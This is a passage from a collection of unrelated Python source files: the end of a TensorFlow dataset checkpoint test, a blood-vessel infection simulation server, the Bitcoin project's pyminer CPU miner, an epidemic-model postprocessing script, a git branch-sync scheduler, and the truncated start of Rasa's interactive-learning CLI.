random_ops.random_uniform( (), 0, 10, dtype=dtypes.int32) * math_ops.cast(x, dtypes.int32) return dataset_ops.Dataset.range(100).map( _map_fn, num_parallel_calls=num_parallel_calls) self.verify_error_on_save(_build_ds, 15, errors.FailedPreconditionError) @combinations.generate( combinations.times(test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testCaptureVariableInMapFn(self, num_parallel_calls): def _build_ds(): counter_var = variable_scope.get_variable( "counter", (), dtypes.int32, use_resource=True) return (dataset_ops.Dataset.from_tensors(0).repeat(10).map( lambda _: counter_var.assign_add(1), num_parallel_calls=num_parallel_calls)) self.verify_error_on_save(_build_ds, 15, errors.FailedPreconditionError) @combinations.generate( combinations.times(test_base.default_test_combinations(), checkpoint_test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testCaptureConstantInMapFn(self, verify_fn, num_parallel_calls): num_outputs = 10 def _build_ds(): constant_var = constant_op.constant(5) return (dataset_ops.Dataset.from_tensors(0).repeat(10).map( lambda x: x + constant_var, num_parallel_calls=num_parallel_calls)) verify_fn(self, _build_ds, num_outputs) @combinations.generate( combinations.times(test_base.default_test_combinations(), checkpoint_test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testCaptureDefunInMapFn(self, verify_fn, num_parallel_calls): num_outputs = 10 def _build_ds(): @function.Defun(dtypes.int64) def defun_fn(x): return constant_op.constant(1000) + math_ops.cast(x, dtypes.int32) return dataset_ops.Dataset.range(num_outputs).map( defun_fn, num_parallel_calls=num_parallel_calls) verify_fn(self, _build_ds, num_outputs) @combinations.generate( combinations.times(test_base.default_test_combinations(), checkpoint_test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testBuildDefunInMapFn(self, verify_fn, num_parallel_calls): num_outputs = 10 def _build_ds(): @function.Defun(dtypes.int64) def defun_fn(x): @function.Defun(dtypes.int32) def defun_fn_deep(x): return constant_op.constant(1000) + math_ops.cast(x, dtypes.int32) return constant_op.constant(11000) + defun_fn_deep( math_ops.cast(x, dtypes.int32)) return dataset_ops.Dataset.range(num_outputs).map( defun_fn, num_parallel_calls=num_parallel_calls) verify_fn(self, _build_ds, num_outputs) @combinations.generate( combinations.times(test_base.default_test_combinations(), checkpoint_test_base.default_test_combinations(), combinations.combine(num_parallel_calls=[None, 2]))) def testSparse(self, verify_fn, num_parallel_calls): def _sparse(i): return sparse_tensor.SparseTensorValue( indices=np.array([[0, 0]]), values=(i * np.array([1])), dense_shape=np.array([1, 1])) def _build_ds(num_outputs): return dataset_ops.Dataset.range(num_outputs).map( _sparse, num_parallel_calls=num_parallel_calls) num_outputs = 10 verify_fn(self, lambda: _build_ds(num_outputs), num_outputs=num_outputs) if __name__ == "__main__": test.main()
main.py
from parameters import * from oscillator import * import initialize import draw from globals import * from AbstractBacteriaCellCluster import * from AbstractHost import * from heapq import heappush, heappop from time import sleep import threading import webbrowser from SocketServerProtocol import * from autobahn.twisted.websocket import WebSocketServerFactory import sys from twisted.python import log from twisted.internet import reactor from twisted.web.server import Site from twisted.web.static import File from autobahn.twisted.resource import WebSocketResource import json #dfs def timestep(o): assert(o is not None) assert(isinstance(o, AbstractHost)) children = o.getChildren() o.timeStep() if children is not None: for child in children: timestep(child) def simulate(): if parameters.verbose: print("Starting simulation") while(True): if SocketServerProtocol.connection is not None: globals.payload['time'] = globals.time; payload = json.dumps(globals.payload).encode('utf8') SocketServerProtocol.connection.sendMessage(payload, False) else: print("Protocol is none") assert(objects[0].id == 1) head = objects[0] initialVelocity = oscillator.getVelocity() #Get bacteria, while len(globals.terminalOutputEvent) > 0 and globals.terminalOutputEvent[0][0] <= globals.time: (time, cluster) = heappop(globals.terminalOutputEvent) assert(isinstance(cluster, AbstractCellCluster)) if isinstance(cluster, AbstractBacteriaCellCluster): head.enterBacteriaCluster(cluster) elif isinstance(cluster, AbstractImmuneCellCluster): head.enterImmuneCellCluster(cluster) flow = oscillator.getVolume() actualFlow = head.setFlow(flow) oscillator.setlastVolume(actualFlow) head._velocity = initialVelocity timestep(head) if parameters.verbose: for id, cluster in parameters.bacteria_t0.items(): if cluster.host is None: print("cluster id", id, "not in host") else: print("cluster id ", id, "in", cluster.host.id) sleep(1) globals.time += 1 def serve(): log.startLogging(sys.stdout) factory = WebSocketServerFactory(u"ws://127.0.0.1:8080") factory.protocol = SocketServerProtocol resource = WebSocketResource(factory) root = File("server") root.putChild(b"ws", resource) site = Site(root) reactor.listenTCP(8080, site) reactor.run() blood_vessels = initialize.processInput(parameters.blood_vessel_file) organs = initialize.processInput(parameters.organ_file) objects = initialize.buildGraph(blood_vessels, organs) #insert bacteria clusters for id, cluster in parameters.bacteria_t0.items(): id = int(id) assert(isinstance(cluster, AbstractBacteriaCellCluster)) objects[id].enterBacteriaCluster(cluster) for id, cluster in parameters.immune_t0.items(): id = int(id) assert(isinstance(cluster, AbstractImmuneCellCluster)) objects[id].enterImmuneCellCluster(cluster) globals.objects = objects threading.Thread(target=simulate).start() webbrowser.open('http://127.0.0.1:8080/') serve()
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import sys from multiprocessing import Process ERR_SLEEP = 15 MAX_NONCE = 1000000L settings = {} pp = pprint.PrettyPrinter(indent=4) class BitcoinRPC: OBJID = 1 def __init__(self, host, port, username, password): authpair = "%s:%s" % (username, password) self.authhdr = "Basic %s" % (base64.b64encode(authpair)) self.conn = httplib.HTTPConnection(host, port, False, 30) def rpc(self, method, params=None): self.OBJID += 1 obj = { 'version' : '1.1', 'method' : method, 'id' : self.OBJID } if params is None: obj['params'] = [] else: obj['params'] = params self.conn.request('POST', '/', json.dumps(obj), { 'Authorization' : self.authhdr, 'Content-type' : 'application/json' }) resp = self.conn.getresponse() if resp is None: print "JSON-RPC: no response" return None body = resp.read() resp_obj = json.loads(body) if resp_obj is None: print "JSON-RPC: cannot JSON-decode body" return None if 'error' in resp_obj and resp_obj['error'] != None: return resp_obj['error'] if 'result' not in resp_obj: print "JSON-RPC: no result in object" return None return resp_obj['result'] def getblockcount(self): return self.rpc('getblockcount') def getwork(self, data=None): return self.rpc('getwork', data) def uint32(x): return x & 0xffffffffL def bytereverse(x): return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) def bufreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): word = struct.unpack('@I', in_buf[i:i+4])[0] out_words.append(struct.pack('@I', bytereverse(word))) return ''.join(out_words) def wordreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): out_words.append(in_buf[i:i+4]) out_words.reverse() return ''.join(out_words) class Miner: def __init__(self, id): self.id = id self.max_nonce = MAX_NONCE def work(self, datastr, targetstr): # decode work data hex string to binary static_data = datastr.decode('hex') static_data = bufreverse(static_data) # the first 76b of 80b do not change blk_hdr = static_data[:76] # decode 256-bit target value targetbin = targetstr.decode('hex') targetbin = targetbin[::-1] # byte-swap and dword-swap targetbin_str = targetbin.encode('hex') target = long(targetbin_str, 16) # pre-hash first 76b of block header static_hash = hashlib.sha256() static_hash.update(blk_hdr) for nonce in xrange(self.max_nonce): # encode 32-bit nonce value nonce_bin = struct.pack("<I", nonce) # hash final 4b, the nonce value hash1_o = static_hash.copy() hash1_o.update(nonce_bin) hash1 = hash1_o.digest() # sha256 hash of sha256 hash hash_o = hashlib.sha256() hash_o.update(hash1) hash = hash_o.digest() # quick test for winning solution: high 32 bits zero? if hash[-4:] != '\0\0\0\0': continue # convert binary hash to 256-bit Python long hash = bufreverse(hash) hash = wordreverse(hash) hash_str = hash.encode('hex') l = long(hash_str, 16) # proof-of-work test: hash < target if l < target: print time.asctime(), "PROOF-OF-WORK found: %064x" % (l,) return (nonce + 1, nonce_bin) else: print time.asctime(), "PROOF-OF-WORK false positive %064x" % (l,) # return (nonce + 1, nonce_bin) return (nonce + 1, None) def submit_work(self, rpc, original_data, nonce_bin): nonce_bin = bufreverse(nonce_bin) nonce = nonce_bin.encode('hex') solution = original_data[:152] + nonce + original_data[160:256] param_arr = [ solution ] result = rpc.getwork(param_arr) print time.asctime(), "--> Upstream RPC result:", result def iterate(self, rpc): work = rpc.getwork() if work is None: time.sleep(ERR_SLEEP) return if 'data' not in work or 'target' not in work: time.sleep(ERR_SLEEP) return time_start = time.time() (hashes_done, nonce_bin) = self.work(work['data'], work['target']) time_end = time.time() time_diff = time_end - time_start self.max_nonce = long( (hashes_done * settings['scantime']) / time_diff) if self.max_nonce > 0xfffffffaL: self.max_nonce = 0xfffffffaL if settings['hashmeter']: print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( self.id, hashes_done, (hashes_done / 1000.0) / time_diff) if nonce_bin is not None: self.submit_work(rpc, work['data'], nonce_bin) def loop(self): rpc = BitcoinRPC(settings['host'], settings['port'], settings['rpcuser'], settings['rpcpass']) if rpc is None: return while True: self.iterate(rpc) def miner_thread(id): miner = Miner(id) miner.loop() if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: pyminer.py CONFIG-FILE" sys.exit(1) f = open(sys.argv[1]) for line in f: # skip comment lines m = re.search('^\s*#', line) if m: continue # parse key=value lines m = re.search('^(\w+)\s*=\s*(\S.*)$', line) if m is None: continue settings[m.group(1)] = m.group(2) f.close() if 'host' not in settings: settings['host'] = '127.0.0.1' if 'port' not in settings: settings['port'] = 7302 if 'threads' not in settings: settings['threads'] = 1 if 'hashmeter' not in settings: settings['hashmeter'] = 0 if 'scantime' not in settings: settings['scantime'] = 30L if 'rpcuser' not in settings or 'rpcpass' not in settings: print "Missing username and/or password in cfg file" sys.exit(1) settings['port'] = int(settings['port']) settings['threads'] = int(settings['threads']) settings['hashmeter'] = int(settings['hashmeter']) settings['scantime'] = long(settings['scantime']) thr_list = [] for thr_id in range(settings['threads']): p = Process(target=miner_thread, args=(thr_id,)) p.start() thr_list.append(p) time.sleep(1) # stagger threads print settings['threads'], "mining threads started" print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) try: for thr_proc in thr_list: thr_proc.join() except KeyboardInterrupt: pass print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port'])
postprocess.py
"""Postprocesses data across dates and simulation runs before aggregating at geographic levels (ADM0, ADM1, or ADM2).""" import argparse import gc import glob import logging import os from multiprocessing import JoinableQueue, Pool, Process from pathlib import Path import numpy as np import pandas as pd import tqdm from .numerical_libs import use_cupy from .util.read_config import bucky_cfg from .viz.geoid import read_geoid_from_graph, read_lookup def divide_by_pop(dataframe, cols): """Given a dataframe and list of columns, divides the columns by the population column ('N'). Parameters ---------- dataframe : DataFrame Simulation data cols : list of str Column names to scale by population Returns ------- dataframe : DataFrame Original dataframe with the requested columns scaled """ for col in cols: dataframe[col] = dataframe[col] / dataframe["total_population"] return dataframe # Initialize argument parser parser = argparse.ArgumentParser(description="Bucky Model postprocessing") # Required: File to process parser.add_argument( "file", default=max( glob.glob(bucky_cfg["raw_output_dir"] + "/*/"), key=os.path.getctime, default="Most recently created folder in raw_output_dir", ), nargs="?", type=str, help="File to proess", ) # Graph file used for this run. Defaults to most recently created parser.add_argument( "-g", "--graph_file", default=None, type=str, help="Graph file used for simulation", ) # Aggregation levels, e.g. state, county, etc. parser.add_argument( "-l", "--levels", default=["adm0", "adm1", "adm2"], nargs="+", type=str, help="Levels on which to aggregate", ) # Quantiles default_quantiles = [ 0.01, 0.025, 0.050, 0.100, 0.150, 0.200, 0.250, 0.300, 0.350, 0.400, 0.450, 0.500, 0.550, 0.600, 0.650, 0.7, 0.750, 0.800, 0.85, 0.9, 0.950, 0.975, 0.990, ] parser.add_argument( "-q", "--quantiles", default=default_quantiles, nargs="+", type=float, help="Quantiles to process", ) # Top-level output directory parser.add_argument( "-o", "--output", default=bucky_cfg["output_dir"], type=str, help="Directory for output files", ) # Prefix for filenames parser.add_argument( "--prefix", default=None, type=str, help="Prefix for output folder (default is UUID)", ) # Specify optional end date parser.add_argument("--end_date", default=None, type=str) # Can pass in a lookup table to use in place of graph parser.add_argument( "--lookup", default=None, type=str, help="Lookup table defining geoid relationships", ) parser.add_argument( "-n", "--nprocs", default=1, type=int, help="Number of threads doing aggregations, more is better till you go OOM...", ) parser.add_argument("-cpu", "--cpu", action="store_true", help="Do not use cupy") parser.add_argument("--verify", action="store_true", help="Verify the quality of the data") parser.add_argument( "--no-sort", "--no_sort", action="store_true", help="Skip sorting the aggregated files", ) # Optional flags parser.add_argument("-v", "--verbose", action="store_true", help="Print extra information") if __name__ == "__main__": args = parser.parse_args() # set_start_method("fork") # Start parsing args quantiles = args.quantiles verbose = args.verbose prefix = args.prefix use_gpu = not args.cpu if verbose: logging.info(args) # File Management top_output_dir = args.output # Check if it exists, make if not if not os.path.exists(top_output_dir): os.makedirs(top_output_dir) # Use lookup, add prefix if args.lookup is not None: lookup_df = read_lookup(args.lookup) if prefix is None: prefix = Path(args.lookup).stem else: lookup_df = read_geoid_from_graph(args.graph_file) # Create subfolder for this run using UUID of run uuid = args.file.split("/")[-2] if prefix is not None: uuid = prefix + "_" + uuid # Create directory if it doesn't exist output_dir = os.path.join(top_output_dir, uuid) if not os.path.exists(output_dir): os.makedirs(output_dir) # Get aggregation levels agg_levels = args.levels lookup_df = lookup_df.set_index("adm2") admin2_key = "adm2_id" all_files = glob.glob(args.file + "/*.feather") all_files_df = pd.DataFrame( [x.split("/")[-1].split(".")[0].split("_") for x in all_files], columns=["rid", "date"], ) dates = all_files_df.date.unique().tolist() to_write = JoinableQueue() def _writer(q): # Call to_write.get() until it returns None has_header_dict = {} for fname, df in iter(q.get, None): if fname in has_header_dict: df.to_csv(fname, header=False, mode="a") else: df.to_csv(fname, header=True, mode="w") has_header_dict[fname] = True q.task_done() q.task_done() write_thread = Process(target=_writer, args=(to_write,)) write_thread.deamon = True write_thread.start() def _process_date(date, write_queue=to_write): date_files = glob.glob(args.file + "/*_" + str(date) + ".feather") # [:NFILES] # Read feather files run_data = [pd.read_feather(f) for f in date_files] tot_df = pd.concat(run_data) # force GC to free up lingering cuda allocs del run_data gc.collect() # Get start date of simulation # start_date = tot_df["date"].min() # If user passes in an end date, use it if args.end_date is not None: end_date = pd.to_datetime(args.end_date) # Otherwise use last day in data else: end_date = tot_df["date"].max() # Drop data not within requested time range tot_df = tot_df.loc[(tot_df["date"] <= end_date)] # Some lookups only contain a subset of counties, drop extras if necessary # TODO this replaced with a left join now that the keys are consistant (if its faster) unique_adm2 = lookup_df.index tot_df = tot_df.loc[tot_df[admin2_key].isin(unique_adm2)] # List of columns that will be output per 100k population as well per_capita_cols = ["cumulative_reported_cases", "cumulative_deaths", "current_hospitalizations"] # Multiply column by N, then at end divide by aggregated N pop_mean_cols = ["case_reporting_rate", "R_eff", "doubling_t"] for col in pop_mean_cols: tot_df[col] = tot_df[col] * tot_df["total_population"] # No columns should contain negatives or NaNs nan_vals = tot_df.isna().sum() if nan_vals.sum() > 0: logging.error("NANs are present in output data: \n" + str(nan_vals)) numerical_cols = tot_df.columns.difference(["date"]) if "weight" in lookup_df.columns: logging.info("Applying weights from lookup table.") scale_cols = tot_df.columns.difference(["date", admin2_key, "rid", *pop_mean_cols]) lookup_df.index.names = [admin2_key] tot_df = tot_df.set_index([admin2_key, "date", "rid"]) tot_df[scale_cols] = tot_df[scale_cols].mul(lookup_df["weight"], axis=0, level=0) tot_df = tot_df.reset_index() if args.verify: # Check all columns except date for negative values if (tot_df[numerical_cols].lt(-1).sum() > 0).any(): # TODO this drop does a deep copy and is super slow logging.error("Negative values are present in output data.") # Check for floating point errors if (tot_df[numerical_cols].lt(0).sum() > 0).any(): # TODO same here logging.warning("Floating point errors are present in output data.") # remove any slight negatives from the integration tot_df[numerical_cols] = tot_df[numerical_cols].clip(lower=0.0) # NB: this has to happen after we fork the process # see e.g. https://github.com/chainer/chainer/issues/1087 if use_gpu: use_cupy(optimize=True) from .numerical_libs import xp # isort:skip # pylint: disable=import-outside-toplevel for level in agg_levels: logging.info("Currently processing: " + level) if level != "adm2": # Create a mapping for aggregation level level_dict = lookup_df[level].to_dict() levels = np.unique(list(level_dict.values())) else: levels = lookup_df.index.values level_dict = {x: x for x in levels} level_map = dict(enumerate(levels)) level_inv_map = {v: k for k, v in level_map.items()} # Apply map tot_df[level] = tot_df[admin2_key].map(level_dict).map(level_inv_map).astype(int) # Compute quantiles def quantiles_group(tot_df): # TODO why is this in the for loop? pretty sure we can move it but check for deps # Kernel opt currently only works on reductions (@v8.0.0) but maybe someday it'll help here with xp.optimize_kernels(): # can we do this pivot in cupy? tot_df_stacked = tot_df.stack() tot_df_unstack = tot_df_stacked.unstack("rid") percentiles = xp.array(quantiles) * 100.0 test = xp.percentile(xp.array(tot_df_unstack.to_numpy()), q=percentiles, axis=1) q_df = ( pd.DataFrame( xp.to_cpu(test.T), index=tot_df_unstack.index, columns=quantiles, ) .unstack() .stack(level=0) .reset_index() .rename(columns={"level_2": "quantile"}) ) return q_df g = tot_df.groupby([level, "date", "rid"]).sum().groupby(level) q_df = g.apply(quantiles_group) q_df[level] = q_df[level].round().astype(int).map(level_map) q_df = q_df.set_index([level, "date", "quantile"]) per_cap_dict = {} for col in per_capita_cols: per_cap_dict[col + "_per_100k"] = (q_df[col] / q_df["total_population"]) * 100000.0 q_df = q_df.assign(**per_cap_dict) q_df = divide_by_pop(q_df, pop_mean_cols) # Column management # if level != admin2_key: del q_df[admin2_key] if "adm2" in q_df.columns and level != "adm2": del q_df["adm2"] if "adm1" in q_df.columns and level != "adm1": del q_df["adm1"] if "adm0" in q_df.columns and level != "adm0": del q_df["adm0"] if verbose: logging.info("\nQuantiles dataframe:") logging.info(q_df.head()) # Push output df to write queue write_queue.put((os.path.join(output_dir, level + "_quantiles.csv"), q_df)) pool = Pool(processes=args.nprocs) for _ in tqdm.tqdm( pool.imap_unordered(_process_date, dates), total=len(dates), desc="Postprocessing dates", dynamic_ncols=True, ): pass pool.close() pool.join() # wait until everything is done to_write.join() # wait until queue is empty to_write.put(None) # send signal to term loop to_write.join() # wait until write_thread handles it write_thread.join() # join the write_thread # sort output csvs if not args.no_sort: for a_level in args.levels: filename = os.path.join(output_dir, a_level + "_quantiles.csv") logging.info("Sorting output file " + filename + "...") out_df = pd.read_csv(filename) # TODO we can avoid having to set index here once readable_column names is complete # set index and sort them out_df = out_df.set_index([a_level, "date", "quantile"]).sort_index() # sort columns alphabetically out_df = out_df.reindex(sorted(out_df.columns), axis=1) # write out sorted csv out_df = out_df.drop(columns="index") # TODO where did we pick this col up? out_df.to_csv(filename, index=True) logging.info("Done sort")
sync_code.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # -*- encoding: utf-8 -*- # # Copyright (c) 2020 anqi.huang@outlook.com # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import datetime import os import optparse import sys import threading import time import schedule sys.path.append(os.path.join(os.path.dirname(__file__), "../")) from base.smart_log import smart_log from config.sync_code_config import SyncCodeConfig config = SyncCodeConfig({'project': 'x', 'branch': 'x', 'source_origin': 'x', 'target_origin': 'x', 'copy': 'x'}) def parseargs(): usage = "usage: %prog [options] arg1 arg2" parser = optparse.OptionParser(usage=usage) option_group = optparse.OptionGroup(parser, "gradle build app options") option_group.add_option("-p", "--project", dest="project", help="which project", default="") parser.add_option_group(option_group) (options, args) = parser.parse_args() return (options, args) def exec_cmd(command): # process = subprocess.Popen(args=command, stdout=subprocess.PIPE, stderr=None, shell=True) # # Launch the shell command: # output = process.communicate() # return output[0] os.system(command) # smart_log(command) def work_impl(config, branch): git_remove_origin = 'git remote remove origin' git_checkout = 'git checkout ' _git_pull = 'git pull ' git_pull = 'git pull origin ' git_push = 'git push --set-upstream origin ' exec_cmd(git_remove_origin) exec_cmd(config.source_origin) exec_cmd(config.copy) exec_cmd(_git_pull) exec_cmd(git_checkout + branch) exec_cmd(git_pull + branch) exec_cmd(git_remove_origin) exec_cmd(config.target_origin) exec_cmd(git_push + branch) def work(config): for branch in config.branchs: work_impl(config, branch) def work_job(): work(config) def run_threaded(job_func): job_thread = threading.Thread(target=job_func) job_thread.start() schedule.every(5).minutes.do(run_threaded, work_job) def main(): smart_log(os.path.abspath(__file__)) (options, args) = parseargs() project = options.project.strip() smart_log("sync project = %s " % (project)) for _config in SyncCodeConfig.get_configs(): if project == _config.project: global config config = _config work(config) return 0 if __name__ == "__main__": main() while True: schedule.run_pending() time.sleep(5)
interactive.py
import asyncio import logging import os import tempfile import textwrap import uuid from functools import partial from multiprocessing import Process from typing import Any, Callable, Dict, List, Optional, Text, Tuple, Union import numpy as np from aiohttp import ClientError from colorclass import Color from sanic import Sanic, response from sanic.exceptions import NotFound from terminaltables import AsciiTable, SingleTable import questionary import rasa.cli.utils from questionary import Choice, Form, Question from rasa.cli import utils as cliutils from rasa.core import constants, events, run, train, utils from rasa.core.actions.action import ACTION_LISTEN_NAME, default_action_names from rasa.core.channels import UserMessage from rasa.core.channels.channel import button_to_string, element_to_string from rasa.core.constants import ( DEFAULT_SERVER_FORMAT, DEFAULT_SERVER_PORT, DEFAULT_SERVER_URL, REQUESTED_SLOT, ) from rasa.core.domain import Domain from rasa.core.events import ActionExecuted, BotUttered, Event, Restarted, UserUttered from rasa.core.interpreter import INTENT_MESSAGE_PREFIX, NaturalLanguageInterpreter from rasa.core.trackers import EventVerbosity from rasa.core.training import visualization from rasa.core.training.structures import Story from rasa.core.training.visualization import ( VISUALIZATION_TEMPLATE_PATH, visualize_neighborhood, ) from rasa.core.utils import AvailableEndpoints from rasa.utils.endpoints import EndpointConfig # noinspection PyProtectedMember from rasa.nlu.training_data.loading import _guess_format, load_data from rasa.nlu.training_data.message import Message # WARNING: This command line UI is using an external library # communicating with the shell - these functions are hard to test # automatically. If you change anything in here, please make sure to # run the interactive learning and check if your part of the "ui" # still works. logger = logging.getLogger(__name__) MAX_VISUAL_HISTORY = 3 PATHS = { "stories": "data/stories.md", "nlu": "data/nlu.md", "backup": "data/nlu_interactive.md", "domain": "domain.yml", } # choose other intent, making sure this doesn't clash with an existing intent OTHER_INTENT = uuid.uuid4().hex OTHER_ACTION = uuid.uuid4().hex NEW_ACTION = uuid.uuid4().hex NEW_TEMPLATES = {} class RestartConversation(Exception): """Exception used to break out the flow and restart the conversation.""" pass class ForkTracker(Exception): """Exception used to break out the flow and fork at a previous step. The tracker will be reset to the selected point in the past and the conversation will continue from there.""" pass class UndoLastStep(Exception): """Exception used to break out the flow and undo the last step. The last step is either the most recent user message or the most recent action run by the bot.""" pass class Abort(Exception): """Exception used to abort the interactive learning and exit.""" pass async def send_message( endpoint: EndpointConfig, sender_id: Text, message: Text, parse_data: Optional[Dict[Text, Any]] = None, ) -> Dict[Text, Any]: """Send a user message to a conversation.""" payload = { "sender": UserUttered.type_name, "message": message, "parse_data": parse_data, } return await endpoint.request( json=payload, method="post", subpath="/conversations/{}/messages".format(sender_id), ) async def request_prediction( endpoint: EndpointConfig, sender_id: Text ) -> Dict[Text, Any]: """Request the next action prediction from core.""" return await endpoint.request( method="post", subpath="/conversations/{}/predict".format(sender_id) ) async def retrieve_domain(endpoint: EndpointConfig) -> Dict[Text, Any]: """Retrieve the domain from core.""" return await endpoint.request( method="get", subpath="/domain", headers={"Accept": "application/json"} ) async def retrieve_status(endpoint: EndpointConfig) -> Dict[Text, Any]: """Retrieve the status from core.""" return await endpoint.request(method="get", subpath="/status") async def retrieve_tracker( endpoint: EndpointConfig, sender_id: Text, verbosity: EventVerbosity = EventVerbosity.ALL, ) -> Dict[Text, Any]: """Retrieve a tracker from core.""" path = "/conversations/{}/tracker?include_events={}".format( sender_id, verbosity.name ) return await endpoint.request( method="get", subpath=path, headers={"Accept": "application/json"} ) async def send_action( endpoint: EndpointConfig, sender_id: Text, action_name: Text, policy: Optional[Text] = None, confidence: Optional[float] = None, is_new_action: bool = False, ) -> Dict[Text, Any]: """Log an action to a conversation.""" payload = ActionExecuted(action_name, policy, confidence).as_dict() subpath = "/conversations/{}/execute".format(sender_id) try: return await endpoint.request(json=payload, method="post", subpath=subpath) except ClientError: if is_new_action: if action_name in NEW_TEMPLATES: warning_questions = questionary.confirm( "WARNING: You have created a new action: '{0}', " "with matching template: '{1}'. " "This action will not return its message in this session, " "but the new utterance will be saved to your domain file " "when you exit and save this session. " "You do not need to do anything further. " "".format(action_name, [*NEW_TEMPLATES[action_name]][0]) ) await _ask_questions(warning_questions, sender_id, endpoint) else: warning_questions = questionary.confirm( "WARNING: You have created a new action: '{}', " "which was not successfully executed. " "If this action does not return any events, " "you do not need to do anything. " "If this is a custom action which returns events, " "you are recommended to implement this action " "in your action server and try again." "".format(action_name) ) await _ask_questions(warning_questions, sender_id, endpoint) payload = ActionExecuted(action_name).as_dict() return await send_event(endpoint, sender_id, payload) else: logger.error("failed to execute action!") raise async def send_event( endpoint: EndpointConfig, sender_id: Text, evt: Dict[Text, Any] ) -> Dict[Text, Any]: """Log an event to a conversation.""" subpath = "/conversations/{}/tracker/events".format(sender_id) return await endpoint.request(json=evt, method="post", subpath=subpath) async def replace_events( endpoint: EndpointConfig, sender_id: Text, evts: List[Dict[Text, Any]] ) -> Dict[Text, Any]: """Replace all the events of a conversation with the provided ones.""" subpath = "/conversations/{}/tracker/events".format(sender_id) return await endpoint.request(json=evts, method="put", subpath=subpath) async def send_finetune( endpoint: EndpointConfig, evts: List[Dict[Text, Any]] ) -> Dict[Text, Any]: """Finetune a core model on the provided additional training samples.""" return await endpoint.request(json=evts, method="post", subpath="/finetune") def format_bot_output(message: Dict[Text, Any]) -> Text: """Format a bot response to be displayed in the history table.""" # First, add text to output output = message.get("text") or "" # Then, append all additional items data = message.get("data", {}) if not data: return output if data.get("image"): output += "\nImage: " + data.get("image") if data.get("attachment"): output += "\nAttachment: " + data.get("attachment") if data.get("buttons"): output += "\nButtons:" for idx, button in enumerate(data.get("buttons")): button_str = button_to_string(button, idx) output += "\n" + button_str if data.get("elements"): output += "\nElements:" for idx, element in enumerate(data.get("elements")): element_str = element_to_string(element, idx) output += "\n" + element_str if data.get("quick_replies"): output += "\nQuick replies:" for idx, element in enumerate(data.get("quick_replies")): element_str = element_to_string(element, idx) output += "\n" + element_str return output def latest_user_message(evts: List[Dict[Text, Any]]) -> Optional[Dict[Text, Any]]: """Return most recent user message.""" for i, e in enumerate(reversed(evts)): if e.get("event") == UserUttered.type_name: return e return None def all_events_before_latest_user_msg( evts: List[Dict[Text, Any]] ) -> List[Dict[Text, Any]]: """Return all events that happened before the most recent user message.""" for i, e in enumerate(reversed(evts)): if e.get("event") == UserUttered.type_name: return evts[: -(i + 1)] return evts async def _ask_questions( questions: Union[Form, Question], sender_id: Text, endpoint: EndpointConfig, is_abort: Callable[[Dict[Text, Any]], bool] = lambda x: False, ) -> Any: """Ask the user a question, if Ctrl-C is pressed provide user with menu.""" should_retry = True answers = {} while should_retry: answers = questions.ask() if answers is None or is_abort(answers): should_retry = await _ask_if_quit(sender_id, endpoint) else: should_retry = False return answers def _selection_choices_from_intent_prediction( predictions: List[Dict[Text, Any]] ) -> List[Dict[Text, Text]]: """"Given a list of ML predictions create a UI choice list.""" sorted_intents = sorted(predictions, key=lambda k: (-k["confidence"], k["name"])) choices = [] for p in sorted_intents: name_with_confidence = "{:03.2f} {:40}".format( p.get("confidence"), p.get("name") ) choice = {"name": name_with_confidence, "value": p.get("name")} choices.append(choice) return choices async def _request_free_text_intent(sender_id: Text, endpoint: EndpointConfig) -> Text: question = questionary.text("Please type the intent name:") return await _ask_questions(question, sender_id, endpoint) async def _request_free_text_action(sender_id: Text, endpoint: EndpointConfig) -> Text: question = questionary.text("Please type the action name:") return await _ask_questions(question, sender_id, endpoint) async def _request_free_text_utterance( sender_id: Text, endpoint: EndpointConfig, action: Text ) -> Text: question = questionary.text( "Please type the message for your new utter_template '{}':".format(action) ) return await _ask_questions(question, sender_id, endpoint) async def _request_selection_from_intent_list( intent_list: List[Dict[Text, Text]], sender_id: Text, endpoint: EndpointConfig ) -> Text: question = questionary.select("What intent is it?", choices=intent_list) return await _ask_questions(question, sender_id, endpoint) async def _request_fork_point_from_list( forks: List[Dict[Text, Text]], sender_id: Text, endpoint: EndpointConfig ) -> Text: question = questionary.select( "Before which user message do you want to fork?", choices=forks ) return await _ask_questions(question, sender_id, endpoint) async def _request_fork_from_user( sender_id, endpoint ) -> Optional[List[Dict[Text, Any]]]: """Take in a conversation and ask at which point to fork the conversation. Returns the list of events that should be kept. Forking means, the conversation will be reset and continued from this previous point.""" tracker = await retrieve_tracker(endpoint, sender_id, EventVerbosity.AFTER_RESTART) choices = [] for i, e in enumerate(tracker.get("events", [])): if e.get("event") == UserUttered.type_name: choices.append({"name": e.get("text"), "value": i}) fork_idx = await _request_fork_point_from_list( list(reversed(choices)), sender_id, endpoint ) if fork_idx is not None: return tracker.get("events", [])[: int(fork_idx)] else: return None async def _request_intent_from_user( latest_message, intents, sender_id, endpoint ) -> Dict[Text, Any]: """Take in latest message and ask which intent it should have been. Returns the intent dict that has been selected by the user.""" predictions = latest_message.get("parse_data", {}).get("intent_ranking", []) predicted_intents = {p["name"] for p in predictions} for i in intents: if i not in predicted_intents: predictions.append({"name": i, "confidence": 0.0}) # convert intents to ui list and add <other> as a free text alternative choices = [ {"name": "<create_new_intent>", "value": OTHER_INTENT} ] + 